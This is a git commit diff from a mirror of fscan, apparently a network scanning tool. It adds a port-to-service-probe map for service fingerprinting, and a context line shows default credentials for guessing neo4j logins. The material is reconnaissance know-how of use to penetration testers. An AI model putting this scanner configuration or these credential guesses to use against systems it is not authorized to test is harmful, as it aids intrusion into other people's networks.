mirror of
https://github.com/shadow1ng/fscan.git
synced 2025-05-05 18:32:54 +00:00
feat: 增加端口识别,修复插件总超时
This commit is contained in:
parent
a603e13d3b
commit
a42ee523b0
814
Common/Config.go
814
Common/Config.go
@ -31,6 +31,820 @@ var Userdict = map[string][]string{
|
||||
"neo4j": {"neo4j", "admin", "root", "test"},
|
||||
}
|
||||
|
||||
var DefaultMap = []string{
|
||||
"GenericLines",
|
||||
"GetRequest",
|
||||
"TLSSessionReq",
|
||||
"SSLSessionReq",
|
||||
"ms-sql-s",
|
||||
"JavaRMI",
|
||||
"LDAPSearchReq",
|
||||
"LDAPBindReq",
|
||||
"oracle-tns",
|
||||
"Socks5",
|
||||
}
|
||||
|
||||
var PortMap = map[int][]string{
|
||||
1: {"GetRequest", "Help"},
|
||||
7: {"Help"},
|
||||
21: {"GenericLines", "Help"},
|
||||
23: {"GenericLines", "tn3270"},
|
||||
25: {"Hello", "Help"},
|
||||
35: {"GenericLines"},
|
||||
42: {"SMBProgNeg"},
|
||||
43: {"GenericLines"},
|
||||
53: {"DNSVersionBindReqTCP", "DNSStatusRequestTCP"},
|
||||
70: {"GetRequest"},
|
||||
79: {"GenericLines", "GetRequest", "Help"},
|
||||
80: {"GetRequest", "HTTPOptions", "RTSPRequest", "X11Probe", "FourOhFourRequest"},
|
||||
81: {"GetRequest", "HTTPOptions", "RPCCheck", "FourOhFourRequest"},
|
||||
82: {"GetRequest", "HTTPOptions", "FourOhFourRequest"},
|
||||
83: {"GetRequest", "HTTPOptions", "FourOhFourRequest"},
|
||||
84: {"GetRequest", "HTTPOptions", "FourOhFourRequest"},
|
||||
85: {"GetRequest", "HTTPOptions", "FourOhFourRequest"},
|
||||
88: {"GetRequest", "Kerberos", "SMBProgNeg", "FourOhFourRequest"},
|
||||
98: {"GenericLines"},
|
||||
110: {"GenericLines"},
|
||||
111: {"RPCCheck"},
|
||||
113: {"GenericLines", "GetRequest", "Help"},
|
||||
119: {"GenericLines", "Help"},
|
||||
130: {"NotesRPC"},
|
||||
135: {"DNSVersionBindReqTCP", "SMBProgNeg"},
|
||||
139: {"GetRequest", "SMBProgNeg"},
|
||||
143: {"GetRequest"},
|
||||
175: {"NJE"},
|
||||
199: {"GenericLines", "RPCCheck", "Socks5", "Socks4"},
|
||||
214: {"GenericLines"},
|
||||
256: {"LDAPSearchReq", "LDAPBindReq"},
|
||||
257: {"LDAPSearchReq", "LDAPBindReq"},
|
||||
261: {"SSLSessionReq"},
|
||||
264: {"GenericLines"},
|
||||
271: {"SSLSessionReq"},
|
||||
280: {"GetRequest"},
|
||||
322: {"RTSPRequest", "SSLSessionReq"},
|
||||
324: {"SSLSessionReq"},
|
||||
389: {"LDAPSearchReq", "LDAPBindReq"},
|
||||
390: {"LDAPSearchReq", "LDAPBindReq"},
|
||||
406: {"SIPOptions"},
|
||||
427: {"NotesRPC"},
|
||||
443: {"TLSSessionReq", "GetRequest", "HTTPOptions", "SSLSessionReq", "SSLv23SessionReq", "X11Probe", "FourOhFourRequest", "tor-versions", "OpenVPN"},
|
||||
444: {"TLSSessionReq", "SSLSessionReq", "SSLv23SessionReq"},
|
||||
445: {"SMBProgNeg"},
|
||||
448: {"SSLSessionReq"},
|
||||
449: {"GenericLines"},
|
||||
465: {"Hello", "Help", "TLSSessionReq", "SSLSessionReq", "SSLv23SessionReq"},
|
||||
497: {"GetRequest", "X11Probe"},
|
||||
500: {"OpenVPN"},
|
||||
505: {"GenericLines", "GetRequest"},
|
||||
510: {"GenericLines"},
|
||||
512: {"DNSVersionBindReqTCP"},
|
||||
513: {"DNSVersionBindReqTCP", "DNSStatusRequestTCP"},
|
||||
514: {"GetRequest", "RPCCheck", "DNSVersionBindReqTCP", "DNSStatusRequestTCP"},
|
||||
515: {"GetRequest", "Help", "LPDString", "TerminalServer"},
|
||||
523: {"ibm-db2-das", "ibm-db2"},
|
||||
524: {"NCP"},
|
||||
540: {"GenericLines", "GetRequest"},
|
||||
543: {"DNSVersionBindReqTCP"},
|
||||
544: {"RPCCheck", "DNSVersionBindReqTCP"},
|
||||
548: {"SSLSessionReq", "SSLv23SessionReq", "afp"},
|
||||
554: {"GetRequest", "RTSPRequest"},
|
||||
563: {"SSLSessionReq"},
|
||||
585: {"SSLSessionReq"},
|
||||
587: {"GenericLines", "Hello", "Help"},
|
||||
591: {"GetRequest"},
|
||||
616: {"GenericLines"},
|
||||
620: {"GetRequest"},
|
||||
623: {"tn3270"},
|
||||
628: {"GenericLines", "DNSVersionBindReqTCP"},
|
||||
631: {"GetRequest", "HTTPOptions"},
|
||||
636: {"TLSSessionReq", "SSLSessionReq", "SSLv23SessionReq", "LDAPSearchReq", "LDAPBindReq"},
|
||||
637: {"LDAPSearchReq", "LDAPBindReq"},
|
||||
641: {"HTTPOptions"},
|
||||
660: {"SMBProgNeg"},
|
||||
666: {"GenericLines", "beast2"},
|
||||
684: {"SSLSessionReq"},
|
||||
706: {"JavaRMI", "mydoom", "WWWOFFLEctrlstat"},
|
||||
710: {"RPCCheck"},
|
||||
711: {"RPCCheck"},
|
||||
731: {"GenericLines"},
|
||||
771: {"GenericLines"},
|
||||
782: {"GenericLines"},
|
||||
783: {"GetRequest"},
|
||||
853: {"DNSVersionBindReqTCP", "DNSStatusRequestTCP", "SSLSessionReq"},
|
||||
888: {"GetRequest"},
|
||||
898: {"GetRequest"},
|
||||
900: {"GetRequest"},
|
||||
901: {"GetRequest"},
|
||||
989: {"GenericLines", "TLSSessionReq", "SSLSessionReq", "SSLv23SessionReq"},
|
||||
990: {"GenericLines", "Help", "TLSSessionReq", "SSLSessionReq", "SSLv23SessionReq"},
|
||||
992: {"GenericLines", "TLSSessionReq", "SSLSessionReq", "SSLv23SessionReq", "tn3270"},
|
||||
993: {"GetRequest", "TLSSessionReq", "SSLSessionReq", "SSLv23SessionReq"},
|
||||
994: {"TLSSessionReq", "SSLSessionReq", "SSLv23SessionReq"},
|
||||
995: {"GenericLines", "GetRequest", "TLSSessionReq", "SSLSessionReq", "SSLv23SessionReq"},
|
||||
999: {"JavaRMI"},
|
||||
1000: {"GenericLines"},
|
||||
1010: {"GenericLines"},
|
||||
1025: {"SMBProgNeg"},
|
||||
1026: {"GetRequest"},
|
||||
1027: {"SMBProgNeg"},
|
||||
1028: {"TerminalServer"},
|
||||
1029: {"DNSVersionBindReqTCP"},
|
||||
1030: {"JavaRMI"},
|
||||
1031: {"SMBProgNeg"},
|
||||
1035: {"JavaRMI", "oracle-tns"},
|
||||
1040: {"GenericLines"},
|
||||
1041: {"GenericLines"},
|
||||
1042: {"GenericLines", "GetRequest"},
|
||||
1043: {"GenericLines"},
|
||||
1068: {"TerminalServer"},
|
||||
1080: {"GenericLines", "GetRequest", "Socks5", "Socks4"},
|
||||
1090: {"JavaRMI", "Socks5", "Socks4"},
|
||||
1095: {"Socks5", "Socks4"},
|
||||
1098: {"JavaRMI"},
|
||||
1099: {"JavaRMI"},
|
||||
1100: {"JavaRMI", "Socks5", "Socks4"},
|
||||
1101: {"JavaRMI"},
|
||||
1102: {"JavaRMI"},
|
||||
1103: {"JavaRMI"},
|
||||
1105: {"Socks5", "Socks4"},
|
||||
1109: {"Socks5", "Socks4"},
|
||||
1111: {"Help"},
|
||||
1112: {"SMBProgNeg"},
|
||||
1129: {"JavaRMI"},
|
||||
1194: {"OpenVPN"},
|
||||
1199: {"JavaRMI"},
|
||||
1200: {"NCP"},
|
||||
1212: {"GenericLines"},
|
||||
1214: {"GetRequest"},
|
||||
1217: {"NCP"},
|
||||
1220: {"GenericLines", "GetRequest"},
|
||||
1234: {"GetRequest", "JavaRMI"},
|
||||
1241: {"TLSSessionReq", "SSLSessionReq", "SSLv23SessionReq", "NessusTPv12", "NessusTPv12", "NessusTPv11", "NessusTPv11", "NessusTPv10", "NessusTPv10"},
|
||||
1248: {"GenericLines"},
|
||||
1302: {"GenericLines"},
|
||||
1311: {"GetRequest", "Help", "TLSSessionReq", "SSLSessionReq", "SSLv23SessionReq"},
|
||||
1314: {"GetRequest"},
|
||||
1344: {"GetRequest"},
|
||||
1352: {"NotesRPC"},
|
||||
1400: {"GenericLines"},
|
||||
1414: {"ibm-mqseries"},
|
||||
1415: {"ibm-mqseries"},
|
||||
1416: {"ibm-mqseries"},
|
||||
1417: {"ibm-mqseries"},
|
||||
1418: {"ibm-mqseries"},
|
||||
1419: {"ibm-mqseries"},
|
||||
1420: {"ibm-mqseries"},
|
||||
1432: {"GenericLines"},
|
||||
1433: {"ms-sql-s", "RPCCheck"},
|
||||
1440: {"JavaRMI"},
|
||||
1443: {"GetRequest", "SSLSessionReq"},
|
||||
1467: {"GenericLines"},
|
||||
1500: {"Verifier"},
|
||||
1501: {"GenericLines", "VerifierAdvanced"},
|
||||
1503: {"GetRequest", "TerminalServer"},
|
||||
1505: {"GenericLines"},
|
||||
1521: {"oracle-tns"},
|
||||
1522: {"oracle-tns"},
|
||||
1525: {"oracle-tns"},
|
||||
1526: {"oracle-tns", "informix", "drda"},
|
||||
1527: {"drda"},
|
||||
1549: {"WMSRequest"},
|
||||
1550: {"X11Probe"},
|
||||
1574: {"oracle-tns"},
|
||||
1583: {"pervasive-relational", "pervasive-btrieve"},
|
||||
1599: {"LibreOfficeImpressSCPair"},
|
||||
1610: {"GetRequest"},
|
||||
1611: {"GetRequest"},
|
||||
1666: {"GenericLines"},
|
||||
1687: {"GenericLines"},
|
||||
1688: {"GenericLines"},
|
||||
1702: {"LDAPSearchReq", "LDAPBindReq"},
|
||||
1720: {"TerminalServer"},
|
||||
1748: {"oracle-tns"},
|
||||
1754: {"oracle-tns"},
|
||||
1755: {"WMSRequest"},
|
||||
1761: {"LANDesk-RC"},
|
||||
1762: {"LANDesk-RC"},
|
||||
1763: {"LANDesk-RC"},
|
||||
1830: {"GetRequest"},
|
||||
1883: {"mqtt"},
|
||||
1900: {"GetRequest"},
|
||||
1911: {"niagara-fox"},
|
||||
1935: {"TerminalServer"},
|
||||
1962: {"pcworx"},
|
||||
1972: {"NotesRPC"},
|
||||
1981: {"JavaRMI"},
|
||||
2000: {"SSLSessionReq", "SSLv23SessionReq", "NCP"},
|
||||
2001: {"GetRequest"},
|
||||
2002: {"GetRequest", "X11Probe"},
|
||||
2010: {"GenericLines"},
|
||||
2023: {"tn3270"},
|
||||
2024: {"GenericLines"},
|
||||
2030: {"GetRequest"},
|
||||
2040: {"TerminalServer"},
|
||||
2049: {"RPCCheck"},
|
||||
2050: {"dominoconsole"},
|
||||
2064: {"GetRequest"},
|
||||
2068: {"DNSVersionBindReqTCP"},
|
||||
2100: {"FourOhFourRequest"},
|
||||
2105: {"DNSVersionBindReqTCP"},
|
||||
2160: {"GetRequest"},
|
||||
2181: {"Memcache"},
|
||||
2199: {"JavaRMI"},
|
||||
2221: {"SSLSessionReq"},
|
||||
2252: {"TLSSessionReq", "SSLSessionReq", "NJE"},
|
||||
2301: {"HTTPOptions"},
|
||||
2306: {"GetRequest"},
|
||||
2323: {"tn3270"},
|
||||
2375: {"docker"},
|
||||
2376: {"SSLSessionReq", "docker"},
|
||||
2379: {"docker"},
|
||||
2380: {"docker"},
|
||||
2396: {"GetRequest"},
|
||||
2401: {"Help"},
|
||||
2443: {"SSLSessionReq"},
|
||||
2481: {"giop"},
|
||||
2482: {"giop"},
|
||||
2525: {"GetRequest"},
|
||||
2600: {"GenericLines"},
|
||||
2627: {"Help"},
|
||||
2701: {"LANDesk-RC"},
|
||||
2715: {"GetRequest"},
|
||||
2809: {"JavaRMI"},
|
||||
2869: {"GetRequest"},
|
||||
2947: {"LPDString"},
|
||||
2967: {"DNSVersionBindReqTCP"},
|
||||
3000: {"GenericLines", "GetRequest", "Help", "NCP"},
|
||||
3001: {"NCP"},
|
||||
3002: {"GetRequest", "NCP"},
|
||||
3003: {"NCP"},
|
||||
3004: {"NCP"},
|
||||
3005: {"GenericLines", "NCP"},
|
||||
3006: {"SMBProgNeg", "NCP"},
|
||||
3025: {"Hello"},
|
||||
3031: {"NCP"},
|
||||
3050: {"firebird"},
|
||||
3052: {"GetRequest", "RTSPRequest"},
|
||||
3127: {"mydoom"},
|
||||
3128: {"GenericLines", "GetRequest", "HTTPOptions", "mydoom", "Socks5", "Socks4"},
|
||||
3129: {"mydoom"},
|
||||
3130: {"mydoom"},
|
||||
3131: {"mydoom"},
|
||||
3132: {"mydoom"},
|
||||
3133: {"mydoom"},
|
||||
3134: {"mydoom"},
|
||||
3135: {"mydoom"},
|
||||
3136: {"mydoom"},
|
||||
3137: {"mydoom"},
|
||||
3138: {"mydoom"},
|
||||
3139: {"mydoom"},
|
||||
3140: {"mydoom"},
|
||||
3141: {"mydoom"},
|
||||
3142: {"mydoom"},
|
||||
3143: {"mydoom"},
|
||||
3144: {"mydoom"},
|
||||
3145: {"mydoom"},
|
||||
3146: {"mydoom"},
|
||||
3147: {"mydoom"},
|
||||
3148: {"mydoom"},
|
||||
3149: {"mydoom"},
|
||||
3150: {"mydoom"},
|
||||
3151: {"mydoom"},
|
||||
3152: {"mydoom"},
|
||||
3153: {"mydoom"},
|
||||
3154: {"mydoom"},
|
||||
3155: {"mydoom"},
|
||||
3156: {"mydoom"},
|
||||
3157: {"mydoom"},
|
||||
3158: {"mydoom"},
|
||||
3159: {"mydoom"},
|
||||
3160: {"mydoom"},
|
||||
3161: {"mydoom"},
|
||||
3162: {"mydoom"},
|
||||
3163: {"mydoom"},
|
||||
3164: {"mydoom"},
|
||||
3165: {"mydoom"},
|
||||
3166: {"mydoom"},
|
||||
3167: {"mydoom"},
|
||||
3168: {"mydoom"},
|
||||
3169: {"mydoom"},
|
||||
3170: {"mydoom"},
|
||||
3171: {"mydoom"},
|
||||
3172: {"mydoom"},
|
||||
3173: {"mydoom"},
|
||||
3174: {"mydoom"},
|
||||
3175: {"mydoom"},
|
||||
3176: {"mydoom"},
|
||||
3177: {"mydoom"},
|
||||
3178: {"mydoom"},
|
||||
3179: {"mydoom"},
|
||||
3180: {"mydoom"},
|
||||
3181: {"mydoom"},
|
||||
3182: {"mydoom"},
|
||||
3183: {"mydoom"},
|
||||
3184: {"mydoom"},
|
||||
3185: {"mydoom"},
|
||||
3186: {"mydoom"},
|
||||
3187: {"mydoom"},
|
||||
3188: {"mydoom"},
|
||||
3189: {"mydoom"},
|
||||
3190: {"mydoom"},
|
||||
3191: {"mydoom"},
|
||||
3192: {"mydoom"},
|
||||
3193: {"mydoom"},
|
||||
3194: {"mydoom"},
|
||||
3195: {"mydoom"},
|
||||
3196: {"mydoom"},
|
||||
3197: {"mydoom"},
|
||||
3198: {"mydoom"},
|
||||
3268: {"LDAPSearchReq", "LDAPBindReq"},
|
||||
3269: {"LDAPSearchReq", "LDAPBindReq"},
|
||||
3273: {"JavaRMI"},
|
||||
3280: {"GetRequest"},
|
||||
3310: {"GenericLines", "VersionRequest"},
|
||||
3333: {"GenericLines", "LPDString", "JavaRMI", "kumo-server"},
|
||||
3351: {"pervasive-relational", "pervasive-btrieve"},
|
||||
3372: {"GetRequest", "RTSPRequest"},
|
||||
3388: {"TLSSessionReq", "TerminalServerCookie", "TerminalServer"},
|
||||
3389: {"TerminalServerCookie", "TerminalServer", "TLSSessionReq"},
|
||||
3443: {"GetRequest", "SSLSessionReq"},
|
||||
3493: {"Help"},
|
||||
3531: {"GetRequest"},
|
||||
3632: {"DistCCD"},
|
||||
3689: {"GetRequest"},
|
||||
3790: {"metasploit-msgrpc"},
|
||||
3872: {"GetRequest"},
|
||||
3892: {"LDAPSearchReq", "LDAPBindReq"},
|
||||
3900: {"SMBProgNeg", "JavaRMI"},
|
||||
3940: {"GenericLines"},
|
||||
4000: {"GetRequest", "NoMachine"},
|
||||
4035: {"LDAPBindReq", "LDAPBindReq"},
|
||||
4045: {"RPCCheck"},
|
||||
4155: {"GenericLines"},
|
||||
4369: {"epmd"},
|
||||
4433: {"TLSSessionReq", "SSLSessionReq", "SSLv23SessionReq"},
|
||||
4443: {"GetRequest", "HTTPOptions", "SSLSessionReq", "FourOhFourRequest"},
|
||||
4444: {"GetRequest", "TLSSessionReq", "SSLSessionReq", "SSLv23SessionReq"},
|
||||
4533: {"rotctl"},
|
||||
4567: {"GetRequest"},
|
||||
4660: {"GetRequest"},
|
||||
4711: {"GetRequest", "piholeVersion"},
|
||||
4899: {"Radmin"},
|
||||
4911: {"SSLSessionReq", "niagara-fox"},
|
||||
4999: {"RPCCheck"},
|
||||
5000: {"GenericLines", "GetRequest", "RTSPRequest", "DNSVersionBindReqTCP", "SMBProgNeg", "ZendJavaBridge"},
|
||||
5001: {"WMSRequest", "ZendJavaBridge"},
|
||||
5002: {"ZendJavaBridge"},
|
||||
5009: {"SMBProgNeg"},
|
||||
5060: {"GetRequest", "SIPOptions"},
|
||||
5061: {"GetRequest", "TLSSessionReq", "SSLSessionReq", "SIPOptions"},
|
||||
5201: {"iperf3"},
|
||||
5222: {"GetRequest"},
|
||||
5232: {"HTTPOptions"},
|
||||
5269: {"GetRequest"},
|
||||
5280: {"GetRequest"},
|
||||
5302: {"X11Probe"},
|
||||
5323: {"DNSVersionBindReqTCP"},
|
||||
5400: {"GenericLines"},
|
||||
5427: {"GetRequest"},
|
||||
5432: {"GenericLines", "GetRequest", "SMBProgNeg"},
|
||||
5443: {"SSLSessionReq"},
|
||||
5520: {"DNSVersionBindReqTCP", "JavaRMI"},
|
||||
5521: {"JavaRMI"},
|
||||
5530: {"DNSVersionBindReqTCP"},
|
||||
5550: {"SSLSessionReq", "SSLv23SessionReq"},
|
||||
5555: {"GenericLines", "DNSVersionBindReqTCP", "SMBProgNeg", "adbConnect"},
|
||||
5556: {"DNSVersionBindReqTCP"},
|
||||
5570: {"GenericLines"},
|
||||
5580: {"JavaRMI"},
|
||||
5600: {"SMBProgNeg"},
|
||||
5701: {"hazelcast-http"},
|
||||
5702: {"hazelcast-http"},
|
||||
5703: {"hazelcast-http"},
|
||||
5704: {"hazelcast-http"},
|
||||
5705: {"hazelcast-http"},
|
||||
5706: {"hazelcast-http"},
|
||||
5707: {"hazelcast-http"},
|
||||
5708: {"hazelcast-http"},
|
||||
5709: {"LANDesk-RC", "hazelcast-http"},
|
||||
5800: {"GetRequest"},
|
||||
5801: {"GetRequest"},
|
||||
5802: {"GetRequest"},
|
||||
5803: {"GetRequest"},
|
||||
5868: {"SSLSessionReq"},
|
||||
5900: {"GetRequest"},
|
||||
5985: {"GetRequest"},
|
||||
5986: {"GetRequest", "SSLSessionReq"},
|
||||
5999: {"JavaRMI"},
|
||||
6000: {"HTTPOptions", "X11Probe"},
|
||||
6001: {"X11Probe"},
|
||||
6002: {"X11Probe"},
|
||||
6003: {"X11Probe"},
|
||||
6004: {"X11Probe"},
|
||||
6005: {"X11Probe"},
|
||||
6006: {"X11Probe"},
|
||||
6007: {"X11Probe"},
|
||||
6008: {"X11Probe"},
|
||||
6009: {"X11Probe"},
|
||||
6010: {"X11Probe"},
|
||||
6011: {"X11Probe"},
|
||||
6012: {"X11Probe"},
|
||||
6013: {"X11Probe"},
|
||||
6014: {"X11Probe"},
|
||||
6015: {"X11Probe"},
|
||||
6016: {"X11Probe"},
|
||||
6017: {"X11Probe"},
|
||||
6018: {"X11Probe"},
|
||||
6019: {"X11Probe"},
|
||||
6020: {"X11Probe"},
|
||||
6050: {"DNSStatusRequestTCP"},
|
||||
6060: {"JavaRMI"},
|
||||
6103: {"GetRequest"},
|
||||
6112: {"GenericLines"},
|
||||
6163: {"HELP4STOMP"},
|
||||
6251: {"SSLSessionReq"},
|
||||
6346: {"GetRequest"},
|
||||
6379: {"redis-server"},
|
||||
6432: {"GenericLines"},
|
||||
6443: {"SSLSessionReq"},
|
||||
6543: {"DNSVersionBindReqTCP"},
|
||||
6544: {"GetRequest"},
|
||||
6560: {"Help"},
|
||||
6588: {"Socks5", "Socks4"},
|
||||
6600: {"GetRequest"},
|
||||
6660: {"Socks5", "Socks4"},
|
||||
6661: {"Socks5", "Socks4"},
|
||||
6662: {"Socks5", "Socks4"},
|
||||
6663: {"Socks5", "Socks4"},
|
||||
6664: {"Socks5", "Socks4"},
|
||||
6665: {"Socks5", "Socks4"},
|
||||
6666: {"Help", "Socks5", "Socks4", "beast2", "vp3"},
|
||||
6667: {"GenericLines", "Help", "Socks5", "Socks4"},
|
||||
6668: {"GenericLines", "Help", "Socks5", "Socks4"},
|
||||
6669: {"GenericLines", "Help", "Socks5", "Socks4"},
|
||||
6670: {"GenericLines", "Help"},
|
||||
6679: {"TLSSessionReq", "SSLSessionReq"},
|
||||
6697: {"TLSSessionReq", "SSLSessionReq"},
|
||||
6699: {"GetRequest"},
|
||||
6715: {"JMON", "JMON"},
|
||||
6789: {"JavaRMI"},
|
||||
6802: {"NCP"},
|
||||
6969: {"GetRequest"},
|
||||
6996: {"JavaRMI"},
|
||||
7000: {"RPCCheck", "DNSVersionBindReqTCP", "SSLSessionReq", "X11Probe"},
|
||||
7002: {"GetRequest"},
|
||||
7007: {"GetRequest"},
|
||||
7008: {"DNSVersionBindReqTCP"},
|
||||
7070: {"GetRequest", "RTSPRequest"},
|
||||
7100: {"GetRequest", "X11Probe"},
|
||||
7101: {"X11Probe"},
|
||||
7144: {"GenericLines"},
|
||||
7145: {"GenericLines"},
|
||||
7171: {"NotesRPC"},
|
||||
7200: {"GenericLines"},
|
||||
7210: {"SSLSessionReq", "SSLv23SessionReq"},
|
||||
7272: {"SSLSessionReq", "SSLv23SessionReq"},
|
||||
7402: {"GetRequest"},
|
||||
7443: {"GetRequest", "SSLSessionReq"},
|
||||
7461: {"SMBProgNeg"},
|
||||
7700: {"JavaRMI"},
|
||||
7776: {"GetRequest"},
|
||||
7777: {"X11Probe", "Socks5", "Arucer"},
|
||||
7780: {"GenericLines"},
|
||||
7800: {"JavaRMI"},
|
||||
7801: {"JavaRMI"},
|
||||
7878: {"JavaRMI"},
|
||||
7887: {"xmlsysd"},
|
||||
7890: {"JavaRMI"},
|
||||
8000: {"GenericLines", "GetRequest", "X11Probe", "FourOhFourRequest", "Socks5", "Socks4"},
|
||||
8001: {"GetRequest", "FourOhFourRequest"},
|
||||
8002: {"GetRequest", "FourOhFourRequest"},
|
||||
8003: {"GetRequest", "FourOhFourRequest"},
|
||||
8004: {"GetRequest", "FourOhFourRequest"},
|
||||
8005: {"GetRequest", "FourOhFourRequest"},
|
||||
8006: {"GetRequest", "FourOhFourRequest"},
|
||||
8007: {"GetRequest", "FourOhFourRequest"},
|
||||
8008: {"GetRequest", "FourOhFourRequest", "Socks5", "Socks4", "ajp"},
|
||||
8009: {"GetRequest", "SSLSessionReq", "SSLv23SessionReq", "FourOhFourRequest", "ajp"},
|
||||
8010: {"GetRequest", "FourOhFourRequest", "Socks5"},
|
||||
8050: {"JavaRMI"},
|
||||
8051: {"JavaRMI"},
|
||||
8080: {"GetRequest", "HTTPOptions", "RTSPRequest", "FourOhFourRequest", "Socks5", "Socks4"},
|
||||
8081: {"GetRequest", "FourOhFourRequest", "SIPOptions", "WWWOFFLEctrlstat"},
|
||||
8082: {"GetRequest", "FourOhFourRequest"},
|
||||
8083: {"GetRequest", "FourOhFourRequest"},
|
||||
8084: {"GetRequest", "FourOhFourRequest"},
|
||||
8085: {"GetRequest", "FourOhFourRequest", "JavaRMI"},
|
||||
8087: {"riak-pbc"},
|
||||
8088: {"GetRequest", "Socks5", "Socks4"},
|
||||
8091: {"JavaRMI"},
|
||||
8118: {"GetRequest"},
|
||||
8138: {"GenericLines"},
|
||||
8181: {"GetRequest", "SSLSessionReq"},
|
||||
8194: {"SSLSessionReq", "SSLv23SessionReq"},
|
||||
8205: {"JavaRMI"},
|
||||
8303: {"JavaRMI"},
|
||||
8307: {"RPCCheck"},
|
||||
8333: {"RPCCheck"},
|
||||
8443: {"GetRequest", "HTTPOptions", "TLSSessionReq", "SSLSessionReq", "SSLv23SessionReq", "FourOhFourRequest"},
|
||||
8530: {"GetRequest"},
|
||||
8531: {"GetRequest", "SSLSessionReq"},
|
||||
8642: {"JavaRMI"},
|
||||
8686: {"JavaRMI"},
|
||||
8701: {"JavaRMI"},
|
||||
8728: {"NotesRPC"},
|
||||
8770: {"apple-iphoto"},
|
||||
8880: {"GetRequest", "FourOhFourRequest"},
|
||||
8881: {"GetRequest", "FourOhFourRequest"},
|
||||
8882: {"GetRequest", "FourOhFourRequest"},
|
||||
8883: {"GetRequest", "TLSSessionReq", "SSLSessionReq", "FourOhFourRequest", "mqtt"},
|
||||
8884: {"GetRequest", "FourOhFourRequest"},
|
||||
8885: {"GetRequest", "FourOhFourRequest"},
|
||||
8886: {"GetRequest", "FourOhFourRequest"},
|
||||
8887: {"GetRequest", "FourOhFourRequest"},
|
||||
8888: {"GetRequest", "HTTPOptions", "FourOhFourRequest", "JavaRMI", "LSCP"},
|
||||
8889: {"JavaRMI"},
|
||||
8890: {"JavaRMI"},
|
||||
8901: {"JavaRMI"},
|
||||
8902: {"JavaRMI"},
|
||||
8903: {"JavaRMI"},
|
||||
8999: {"JavaRMI"},
|
||||
9000: {"GenericLines", "GetRequest"},
|
||||
9001: {"GenericLines", "GetRequest", "TLSSessionReq", "SSLSessionReq", "SSLv23SessionReq", "JavaRMI", "Radmin", "mongodb", "tarantool", "tor-versions"},
|
||||
9002: {"GenericLines", "tor-versions"},
|
||||
9003: {"GenericLines", "JavaRMI"},
|
||||
9004: {"JavaRMI"},
|
||||
9005: {"JavaRMI"},
|
||||
9030: {"GetRequest"},
|
||||
9050: {"GetRequest", "JavaRMI"},
|
||||
9080: {"GetRequest"},
|
||||
9088: {"informix", "drda"},
|
||||
9089: {"informix", "drda"},
|
||||
9090: {"GetRequest", "JavaRMI", "WMSRequest", "ibm-db2-das", "SqueezeCenter_CLI", "informix", "drda"},
|
||||
9091: {"informix", "drda"},
|
||||
9092: {"informix", "drda"},
|
||||
9093: {"informix", "drda"},
|
||||
9094: {"informix", "drda"},
|
||||
9095: {"informix", "drda"},
|
||||
9096: {"informix", "drda"},
|
||||
9097: {"informix", "drda"},
|
||||
9098: {"informix", "drda"},
|
||||
9099: {"JavaRMI", "informix", "drda"},
|
||||
9100: {"hp-pjl", "informix", "drda"},
|
||||
9101: {"hp-pjl"},
|
||||
9102: {"SMBProgNeg", "hp-pjl"},
|
||||
9103: {"SMBProgNeg", "hp-pjl"},
|
||||
9104: {"hp-pjl"},
|
||||
9105: {"hp-pjl"},
|
||||
9106: {"hp-pjl"},
|
||||
9107: {"hp-pjl"},
|
||||
9300: {"JavaRMI"},
|
||||
9390: {"metasploit-xmlrpc"},
|
||||
9443: {"GetRequest", "SSLSessionReq"},
|
||||
9481: {"Socks5"},
|
||||
9500: {"JavaRMI"},
|
||||
9711: {"JavaRMI"},
|
||||
9761: {"insteonPLM"},
|
||||
9801: {"GenericLines"},
|
||||
9809: {"JavaRMI"},
|
||||
9810: {"JavaRMI"},
|
||||
9811: {"JavaRMI"},
|
||||
9812: {"JavaRMI"},
|
||||
9813: {"JavaRMI"},
|
||||
9814: {"JavaRMI"},
|
||||
9815: {"JavaRMI"},
|
||||
9875: {"JavaRMI"},
|
||||
9910: {"JavaRMI"},
|
||||
9930: {"ibm-db2-das"},
|
||||
9931: {"ibm-db2-das"},
|
||||
9932: {"ibm-db2-das"},
|
||||
9933: {"ibm-db2-das"},
|
||||
9934: {"ibm-db2-das"},
|
||||
9991: {"JavaRMI"},
|
||||
9998: {"teamspeak-tcpquery-ver"},
|
||||
9999: {"GetRequest", "HTTPOptions", "FourOhFourRequest", "JavaRMI"},
|
||||
10000: {"GetRequest", "HTTPOptions", "RTSPRequest"},
|
||||
10001: {"GetRequest", "JavaRMI", "ZendJavaBridge"},
|
||||
10002: {"ZendJavaBridge", "SharpTV"},
|
||||
10003: {"ZendJavaBridge"},
|
||||
10005: {"GetRequest"},
|
||||
10031: {"HTTPOptions"},
|
||||
10098: {"JavaRMI"},
|
||||
10099: {"JavaRMI"},
|
||||
10162: {"JavaRMI"},
|
||||
10333: {"teamtalk-login"},
|
||||
10443: {"GetRequest", "SSLSessionReq"},
|
||||
10990: {"JavaRMI"},
|
||||
11001: {"JavaRMI"},
|
||||
11099: {"JavaRMI"},
|
||||
11210: {"couchbase-data"},
|
||||
11211: {"Memcache"},
|
||||
11333: {"JavaRMI"},
|
||||
11371: {"GenericLines", "GetRequest"},
|
||||
11711: {"LDAPSearchReq"},
|
||||
11712: {"LDAPSearchReq"},
|
||||
11965: {"GenericLines"},
|
||||
12000: {"JavaRMI"},
|
||||
12345: {"Help", "OfficeScan"},
|
||||
13013: {"GetRequest", "JavaRMI"},
|
||||
13666: {"GetRequest"},
|
||||
13720: {"GenericLines"},
|
||||
13722: {"GetRequest"},
|
||||
13783: {"DNSVersionBindReqTCP"},
|
||||
14000: {"JavaRMI"},
|
||||
14238: {"oracle-tns"},
|
||||
14443: {"GetRequest", "SSLSessionReq"},
|
||||
14534: {"GetRequest"},
|
||||
14690: {"Help"},
|
||||
15000: {"GenericLines", "GetRequest", "JavaRMI"},
|
||||
15001: {"GenericLines", "JavaRMI"},
|
||||
15002: {"GenericLines", "SSLSessionReq"},
|
||||
15200: {"JavaRMI"},
|
||||
16000: {"JavaRMI"},
|
||||
17007: {"RPCCheck"},
|
||||
17200: {"JavaRMI"},
|
||||
17988: {"GetRequest"},
|
||||
18086: {"GenericLines"},
|
||||
18182: {"SMBProgNeg"},
|
||||
18264: {"GetRequest"},
|
||||
18980: {"JavaRMI"},
|
||||
19150: {"GenericLines", "gkrellm"},
|
||||
19350: {"LPDString"},
|
||||
19700: {"kumo-server"},
|
||||
19800: {"kumo-server"},
|
||||
20000: {"JavaRMI", "oracle-tns"},
|
||||
20547: {"proconos"},
|
||||
22001: {"NotesRPC"},
|
||||
22490: {"Help"},
|
||||
23791: {"JavaRMI"},
